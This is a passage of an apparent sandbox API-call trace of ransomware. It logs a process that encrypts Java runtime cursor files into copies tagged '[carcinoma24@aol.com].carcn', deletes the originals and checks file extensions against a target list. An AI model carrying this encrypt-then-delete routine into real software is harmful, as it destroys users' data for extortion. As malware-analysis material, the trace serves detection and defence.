dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0178.043] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=153) returned 1 [0178.043] CloseHandle (hObject=0x34c) returned 1 [0178.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif")) returned 0x20 [0178.044] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.044] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0178.044] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0178.044] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0178.044] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0178.044] GetLastError () returned 0x0 [0178.044] ReadFile (in: hFile=0x34c, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x99, lpOverlapped=0x0) returned 1 [0178.045] WriteFile (in: hFile=0x388, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0xa0, lpOverlapped=0x0) returned 1 [0178.046] ReadFile (in: hFile=0x34c, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0178.046] WriteFile (in: hFile=0x388, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0xf4, lpOverlapped=0x0) returned 1 [0178.046] SetEndOfFile (hFile=0x388) returned 1 [0178.046] CloseHandle (hObject=0x388) returned 1 [0178.047] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0178.047] SetEndOfFile (hFile=0x34c) returned 1 [0178.048] CloseHandle (hObject=0x34c) returned 1 [0178.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0178.048] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif")) returned 1 [0178.049] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0178.049] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0178.049] lstrlenW (lpString=".doc") returned 4 [0178.049] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0178.049] lstrlenW (lpString=".docx") returned 5 [0178.049] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0178.049] lstrlenW (lpString=".pdf") returned 4 [0178.049] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0178.049] lstrlenW (lpString=".xls") returned 4 [0178.049] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0178.049] lstrlenW (lpString=".xlsx") returned 5 [0178.049] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0178.049] lstrlenW (lpString=".ppt") returned 4 [0178.049] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0178.049] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0178.049] lstrlenW (lpString=".zip") returned 4 [0178.049] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0178.049] lstrlenW (lpString=".rar") returned 4 [0178.049] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0178.049] lstrlenW (lpString=".bz2") returned 4 [0178.049] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0178.049] lstrlenW (lpString=".7z") returned 3 [0178.050] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0178.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0178.050] lstrlenW (lpString=".dbf") returned 4 [0178.050] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0178.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0178.050] lstrlenW (lpString=".1cd") returned 4 [0178.050] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0178.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0178.050] lstrlenW (lpString=".jpg") returned 4 [0178.050] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0178.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0178.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0178.050] lstrlenW (lpString=".doc") returned 4 [0178.050] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0178.050] lstrlenW (lpString=".docx") returned 5 [0178.050] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0178.050] lstrlenW (lpString=".pdf") returned 4 [0178.050] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0178.050] lstrlenW (lpString=".xls") returned 4 [0178.050] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0178.050] lstrlenW (lpString=".xlsx") returned 5 [0178.050] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0178.050] lstrlenW (lpString=".ppt") returned 4 [0178.050] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0178.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0178.050] lstrlenW (lpString=".zip") returned 4 [0178.050] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0178.050] lstrlenW (lpString=".rar") returned 4 [0178.050] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0178.050] lstrlenW (lpString=".bz2") returned 4 [0178.050] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0178.050] lstrlenW (lpString=".7z") returned 3 [0178.050] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0178.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0178.051] lstrlenW (lpString=".dbf") returned 4 [0178.051] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0178.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0178.051] lstrlenW (lpString=".1cd") returned 4 [0178.051] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0178.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\invalid32x32.gif") returned 70 [0178.051] lstrlenW (lpString=".jpg") returned 4 [0178.051] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0178.051] lstrcmpiW (lpString1=".gif", lpString2=".carcn") returned 1 [0178.051] lstrlenW (lpString="win32_CopyDrop32x32.gif") returned 23 [0178.051] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0178.076] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=165) returned 1 [0178.076] CloseHandle (hObject=0x380) returned 1 [0178.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 0x20 [0178.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.076] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0178.076] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0178.076] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0178.076] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0178.077] GetLastError () returned 0x0 [0178.077] ReadFile (in: hFile=0x380, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0xa5, lpOverlapped=0x0) returned 1 [0178.077] WriteFile (in: hFile=0x2e0, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0xb0, lpOverlapped=0x0) returned 1 [0178.078] ReadFile (in: hFile=0x380, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0178.078] WriteFile (in: hFile=0x2e0, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0x102, lpOverlapped=0x0) returned 1 [0178.078] SetEndOfFile (hFile=0x2e0) returned 1 [0178.078] CloseHandle (hObject=0x2e0) returned 1 [0178.079] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0178.079] SetEndOfFile (hFile=0x380) returned 1 [0178.080] CloseHandle (hObject=0x380) returned 1 [0178.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0178.080] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 1 [0178.080] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0178.080] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0178.080] lstrlenW (lpString=".doc") returned 4 [0178.080] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0178.080] lstrlenW (lpString=".docx") returned 5 [0178.080] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0178.080] lstrlenW (lpString=".pdf") returned 4 [0178.080] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0178.080] lstrlenW (lpString=".xls") returned 4 [0178.080] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0178.080] lstrlenW (lpString=".xlsx") returned 5 [0178.081] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0178.081] lstrlenW (lpString=".ppt") returned 4 [0178.081] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0178.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0178.081] lstrlenW (lpString=".zip") returned 4 [0178.081] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0178.081] lstrlenW (lpString=".rar") returned 4 [0178.081] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0178.081] lstrlenW (lpString=".bz2") returned 4 [0178.081] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0178.081] lstrlenW (lpString=".7z") returned 3 [0178.081] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0178.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0178.081] lstrlenW (lpString=".dbf") returned 4 [0178.081] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0178.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0178.081] lstrlenW (lpString=".1cd") returned 4 [0178.081] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0178.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0178.081] lstrlenW (lpString=".jpg") returned 4 [0178.081] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0178.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0178.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0178.081] lstrlenW (lpString=".doc") returned 4 [0178.081] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0178.081] lstrlenW (lpString=".docx") returned 5 [0178.081] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0178.081] lstrlenW (lpString=".pdf") returned 4 [0178.081] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0178.081] lstrlenW (lpString=".xls") returned 4 [0178.082] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0178.082] lstrlenW (lpString=".xlsx") returned 5 [0178.082] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0178.082] lstrlenW (lpString=".ppt") returned 4 [0178.082] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0178.082] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0178.082] lstrlenW (lpString=".zip") returned 4 [0178.082] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0178.082] lstrlenW (lpString=".rar") returned 4 [0178.082] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0178.082] lstrlenW (lpString=".bz2") returned 4 [0178.082] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0178.082] lstrlenW (lpString=".7z") returned 3 [0178.082] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0178.082] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0178.082] lstrlenW (lpString=".dbf") returned 4 [0178.082] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0178.082] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0178.082] lstrlenW (lpString=".1cd") returned 4 [0178.082] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0178.082] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif") returned 77 [0178.082] lstrlenW (lpString=".jpg") returned 4 [0178.082] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0178.082] lstrcmpiW (lpString1=".gif", lpString2=".carcn") returned 1 [0178.082] lstrlenW (lpString="win32_MoveDrop32x32.gif") returned 23 [0178.082] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0178.263] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=147) returned 1 [0178.263] CloseHandle (hObject=0x35c) returned 1 [0178.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 0x20 [0178.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.267] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0178.267] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0178.267] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0178.267] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0178.277] GetLastError () returned 0x0 [0178.277] ReadFile (in: hFile=0x35c, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x93, lpOverlapped=0x0) returned 1 [0178.278] WriteFile (in: hFile=0x31c, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0xa0, lpOverlapped=0x0) returned 1 [0178.279] ReadFile (in: hFile=0x35c, lpBuffer=0x3df4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0178.279] WriteFile (in: hFile=0x31c, lpBuffer=0x3df4020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3df4020*, lpNumberOfBytesWritten=0x33afc94*=0x102, lpOverlapped=0x0) returned 1 [0178.280] SetEndOfFile (hFile=0x31c) returned 1 [0178.310] CloseHandle (hObject=0x31c) returned 1 [0178.311] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0178.311] SetEndOfFile (hFile=0x35c) returned 1 [0178.312] CloseHandle (hObject=0x35c) returned 1 [0178.312] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0178.312] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif")) returned 1 [0178.312] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0178.312] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0178.312] lstrlenW (lpString=".doc") returned 4 [0178.312] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0178.312] lstrlenW (lpString=".docx") returned 5 [0178.312] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0178.312] lstrlenW (lpString=".pdf") returned 4 [0178.312] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0178.312] lstrlenW (lpString=".xls") returned 4 [0178.312] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0178.312] lstrlenW (lpString=".xlsx") returned 5 [0178.313] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0178.313] lstrlenW (lpString=".ppt") returned 4 [0178.313] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0178.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0178.313] lstrlenW (lpString=".zip") returned 4 [0178.313] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0178.313] lstrlenW (lpString=".rar") returned 4 [0178.313] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0178.313] lstrlenW (lpString=".bz2") returned 4 [0178.313] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0178.313] lstrlenW (lpString=".7z") returned 3 [0178.313] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0178.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0178.313] lstrlenW (lpString=".dbf") returned 4 [0178.313] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0178.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0178.313] lstrlenW (lpString=".1cd") returned 4 [0178.313] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0178.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0178.313] lstrlenW (lpString=".jpg") returned 4 [0178.313] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0178.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0178.313] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0178.313] lstrlenW (lpString=".doc") returned 4 [0178.313] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0178.313] lstrlenW (lpString=".docx") returned 5 [0178.313] lstrcmpiW (lpString1=".docx", lpString2="2.gif") returned -1 [0178.313] lstrlenW (lpString=".pdf") returned 4 [0178.313] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0178.313] lstrlenW (lpString=".xls") returned 4 [0178.313] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0178.313] lstrlenW (lpString=".xlsx") returned 5 [0178.313] lstrcmpiW (lpString1=".xlsx", lpString2="2.gif") returned -1 [0178.313] lstrlenW (lpString=".ppt") returned 4 [0178.313] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0178.314] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0178.314] lstrlenW (lpString=".zip") returned 4 [0178.314] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0178.314] lstrlenW (lpString=".rar") returned 4 [0178.314] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0178.314] lstrlenW (lpString=".bz2") returned 4 [0178.314] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0178.314] lstrlenW (lpString=".7z") returned 3 [0178.314] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0178.314] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0178.314] lstrlenW (lpString=".dbf") returned 4 [0178.314] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0178.314] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0178.314] lstrlenW (lpString=".1cd") returned 4 [0178.314] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0178.314] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif") returned 77 [0178.314] lstrlenW (lpString=".jpg") returned 4 [0178.314] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0178.314] lstrcmpiW (lpString1=".txt", lpString2=".carcn") returned 1 [0178.314] lstrlenW (lpString="README.txt") returned 10 [0178.314] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, 